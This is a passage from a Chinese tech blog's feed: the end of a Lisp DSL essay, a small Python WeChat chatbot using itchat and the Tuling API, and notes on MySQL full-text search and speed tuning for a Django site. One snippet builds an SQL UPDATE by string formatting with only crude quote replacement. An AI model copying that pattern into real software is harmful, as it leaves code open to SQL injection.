出是在控制台:

    (defmacro item (priority note)
        `(block
            (print stdout tab "Prority: " ~(head (tail priority)) endl)
            (print stdout tab "Note: " ~note endl endl)))

我们创造了一个非常小的有限的语言来管理嵌在Lisp中的任务表。这个语言只用来解决特
定领域的问题, 通常称之为DSLs(特定领域语言, 或专用领域语言)。

特定领域语言

本文谈到了两个特定领域语言, 一个是Ant, 处理软件构造。一个是没起名字的, 用于处
理任务表。两者的差别在于, Ant是用XML, XML解析器, 以及Java语言合在一起构造出来
的。而我们的迷你语言则完全内嵌在Lisp中, 只消几分钟就做出来了。

我们已经说过了DSL的好处, 这也就是Ant用XML而不直接用Java的原因。如果使用Lisp,
我们可以任意创建DSL, 只要我们需要。我们可以创建用于网站程序的DSL, 可以写多用户
游戏, 做固定收益贸易(fixed income trade), 解决蛋白质折叠问题, 处理事务问题, 等
等。我们可以把这些叠放在一起, 造出一个语言, 专门解决基于网络的贸易程序, 既有网
络语言的优势, 又有贸易语言的好处。每天我们都会收获这种方法带给我们的益处, 远远
超过Ant所能给予我们的。

用DSL解决问题, 做出的程序精简, 易于维护, 富有弹性。在Java里面, 我们可以用类来
处理问题。这两种方法的差别在于, Lisp使我们达到了一个更高层次的抽象, 我们不再受
语言解析器本身的限制, 比较一下用Java库直接写的构造脚本和用Ant写的构造脚本其间
的差别。同样的, 比较一下你以前所做的工作, 你就会明白Lisp带来的好处。

接下来

学习Lisp就像战争中争夺山头。尽管在电脑科学领域, Lisp已经算是一门古老的语言, 直
到现在仍然很少有人真的明白该怎样给初学者讲授Lisp。尽管Lisp老手们尽了很大努力,
今天新手学习Lisp仍然是困难重重。好在现在事情正在发生变化, Lisp的资源正在迅速增
加, 随着时间推移, Lisp将会越来越受关注。

Lisp使人超越平庸, 走到前沿。学会Lisp意味着你能找到更好的工作, 因为聪明的雇主会
被你与众不同的洞察力所打动。学会Lisp也可能意味着明天你可能会被解雇, 因为你总是
强调, 如果公司所有软件都用Lisp写, 公司将会如何卓越, 而这些话你的同事会听烦的。
Lisp值得努力学习吗? 那些已经学会Lisp的人都说值得, 当然, 这取决于你的判断。

你的看法呢?

这篇文章写写停停, 用了几个月才最终完成。如果你觉得有趣, 或者有什么问题, 意见或
建议, 请给我发邮件coffeemug@gmail.com, 我会很高兴收到你的反馈。

]]>
https://blog.werner.wiki/the-essence-of-lisp/feed/ 0
28行的微信聊天机器人 https://blog.werner.wiki/28-line-chat-robot/ https://blog.werner.wiki/28-line-chat-robot/#respond Thu, 09 Mar 2017 06:29:24 +0000 http://blog.werner.wiki/?p=93 忽然就想写个微信机器人,查了下资料,发现其实很简单。

两个问题:第一,如何接收和发送微信消息;第二,接到消息后该回复什么。

第一个问题由Python库itchat解决,第二个问题用图灵机器人API解决。

虽然“图灵机器人”提供了微信接口,但我的代码中使用的是web接口,完成后的代码如下,仅仅28行:

    # -*- coding: utf-8 -*-
    import sys
    import json
    import time
    import itchat
    import requests
    reload(sys) 
    sys.setdefaultencoding('utf-8') 
    API_KEY = 'xxxxxxxxxxxxxxxxxxxxxxxxxxx'         #图灵机器人API_KEY,是免费的
    raw_TULINURL = "http://www.tuling123.com/openapi/api?key=%s&info=" % API_KEY
    def result(queryStr):
        r = requests.get(raw_TULINURL+queryStr)
        hjson=json.loads(r.text)
        length=len(hjson.keys())
        content=hjson['text']
        if length==3:
            return content+hjson['url']
        elif length==2:
            return content
    @itchat.msg_register(itchat.content.TEXT)
    def text_reply(msg):
        print msg['FromUserName']+u":"+msg['Text']
        time.sleep(5)
        ret = result(msg['Text'])
        print u"我:"+ret
        return ret
    itchat.auto_login()
    itchat.run()
]]>
https://blog.werner.wiki/28-line-chat-robot/feed/ 0
Django+Mysql性能优化小记 https://blog.werner.wiki/django-mysql-performance-optimization-notes/ https://blog.werner.wiki/django-mysql-performance-optimization-notes/#respond Thu, 03 Nov 2016 06:34:39 +0000 http://blog.werner.wiki/?p=97 最近在对一个Django+Mysql的小网站进行性能优化,发现一些有趣的事,记录于此。

首先是中文全文搜索的问题。比较新的Mysql是可以创建全文索引并且进行全文搜索的,但对汉语的支持不好。英语天然地用空格分割单词,很容易实现全文搜索,但汉语却没有这样的天然优势。一个自然的想法便是若汉语的词与词之间也有空格分割,岂不是就可以直接用Mysql的全文索引和全文搜索了。为此,对需要进行全文搜索的字段,比如title和description,新建两个对应的字段用于存放带空格的中文句子:title_index和description_index。然后遍历整张表,读取title和description字段的值,对其进行汉语分词(比如使用jieba)后用空格分割分词结果,分别写回到title_index和description_index字段中去。可以用类似下面的Python代码去实现这一过程(注意下面的代码只是片段,是不完整的)。

    #使用execute方法执行SQL语句
    cursor.execute('''select id,title,description from tablename''')
    for row in cursor.fetchall():#遍历整张表
        #建立全文索引
        if row[1]:
            title_index = ' '.join(list(jieba.cut(row[1]))).replace("\"", "'")
        else:
            title_index = ''
        if row[2]:
            description_index = ' '.join(list(jieba.cut(row[2]))).replace("\"", "'")
        else:
            description_index = ''
        sql = '''update tablename set `title_index`="{0}",  `description_index`="{1}" \
                 where id={2};'''.format(title_index, description_index, row[0])
        cursor.execute(sql)
     db.commit()

之后建立对title_index和description_index的全文索引,搜索时也在这两个字段上搜索就可以了。但在试验时发现这样做只能搜索到较长的词组,比如“中华人民共和国”,但搜索不到较短的词组,比如“中国”。查阅资料显示,Mysql认为较短的单词(比如a、an这样的)对于全文搜索是有害的,所以会忽略这样的单词。这一长度由ft_min_word_len指定,其默认值是4。为了能较好的支持中文,将其改为2。Ubuntu中需要在配置文件/etc/mysql/my.cnf的[mysqld]段(section)中添加一行:

ft_min_word_len=2

加不对地方是没用的。我刚开始时将ft_min_word_len=2添加在配置文件末尾,再怎么重启Mysql,用SQL语句“SHOW VARIABLES LIKE ‘ft_min_word_len’;”查看其值,依旧是4,后来在其官网找到说明,才知必须添加在特定的段中才有效。改好这一配置并重启后再次尝试,就会发现Mysql可以对“中国”这样两个字的词进行有效的全文搜索了,但Mysql依旧会忽略“的”这样一个字的词,这正是我想要的。至于如何将Mysql全文搜索集成到Django中,其实这个问题不用考虑,较新的Django中集成了这样的API,以下部分复制于Django文档

search¶

Deprecated since version 1.10: See the 1.10 release notes for how to replace it.

A boolean full-text search, taking advantage of full-text indexing. This is like contains but is significantly faster due to full-text indexing.

Example:

    Entry.objects.filter(headline__search="+Django -jazz Python")

SQL equivalent:

    SELECT ... WHERE MATCH(tablename, headline) AGAINST (+Django -jazz Python IN BOOLEAN MODE);

Note this is only available in MySQL and requires direct manipulation of the database to add the full-text index. By default Django uses BOOLEAN MODE for full text searches. See the MySQL documentation for additional details.

解决了全文搜索问题之后便要考虑效率了。我在维护的网站大约有10万数据,每搜索一次都需要几秒时间,即使添加了如上所述的全文搜索。数据很少,为何会这样呢?以为是字符匹配很慢,结果引入全文搜索依旧如此。一直到搞不清楚原因,直到偶然间发现:

mysql> SELECT count(*) FROM tablename WHERE MATCH (title_index,description_index) AGAINST ('中国' IN BOOLEAN MODE);
+----------+
| count(*) |
+----------+
|     8483 |
+----------+
1 row in set (3.68 sec)

mysql> SELECT count(*) FROM tablename WHERE MATCH (title_index) AGAINST ('中国' IN BOOLEAN MODE);
+----------+
| count(*) |
+----------+
|     3401 |
+----------+
1 row in set (0.02 sec)

mysql> SELECT count(*) FROM tablename WHERE MATCH (description_index) AGAINST ('中国' IN BOOLEAN MODE);
+----------+
| count(*) |
+----------+
|     8225 |
+----------+
1 row in set (0.05 sec)

mysql>

差距竟然如此之大!注意到这一巨大的差距,便去修改Django项目的代码,将:

    if only_title:
        conflist = Conf.objects.filter(title_index__search=s)
    else:
        conflist = Conf.objects.filter(Q(description_index__search=s)|Q(title_index__search=s))

修改为:

    conflist = Conf.objects.filter(title_index__search=s)
    if only_title:
        pass
    else:
        conflist = conflist or Conf.objects.filter(description_index__search=s)

新的代码相当于分别从title_index和description_index中查询,再将查到的结果(是两个集合)并(or)起来。改好之后再试试,搜索果然变得很快很快了,由以前的好几秒变成了不到1秒。

补充说明,只有很新的Mysql的InnoDB和MyISAM都支持全文搜索,稍老一些版本的Mysql只有MyISAM支持全文搜索。而如果数据表是InnoDB,就需要转换为MyISAM了。下面展示的是我将InnoDB表转换为MyISAM表过程中做的备忘录:

    # 设置和查看ft_min_word_len
    nano /etc/mysql/my.cnf
    Set the following values, which increase the maximum attachment size and make it possible to search for short words and terms:
        Alter on Line 52: max_allowed_packet=100M
        Add as new line 32, in the [mysqld] section: ft_min_word_len=2
    SHOW VARIABLES LIKE 'ft_min_word_len';

    # mysql innodb 转MyISAM
    create table tt7_tmp like tablename;
    insert into tt7_tmp select * from tablename;
    alter table tt7_tmp engine=MyISAM;
    SET FOREIGN_KEY_CHECKS = 0;
    drop table tablename;
    rename table  tt7_tmp to tablename;

    # 新增字段
    alter table tablename add title_index varchar(2000);
    alter table tablename add description_index longtext;

    # 添加全文索引
    ALTER TABLE tablename ADD FULLTEXT(title_index);
    ALTER TABLE tablename ADD FULLTEXT(description_index);
    Alter table `tablename` add fulltext(`title_index`);
    Alter table `tablename` add fulltext(`description_index`);
    repair table tablename;
]]>
https://blog.werner.wiki/django-mysql-performance-optimization-notes/feed/ 0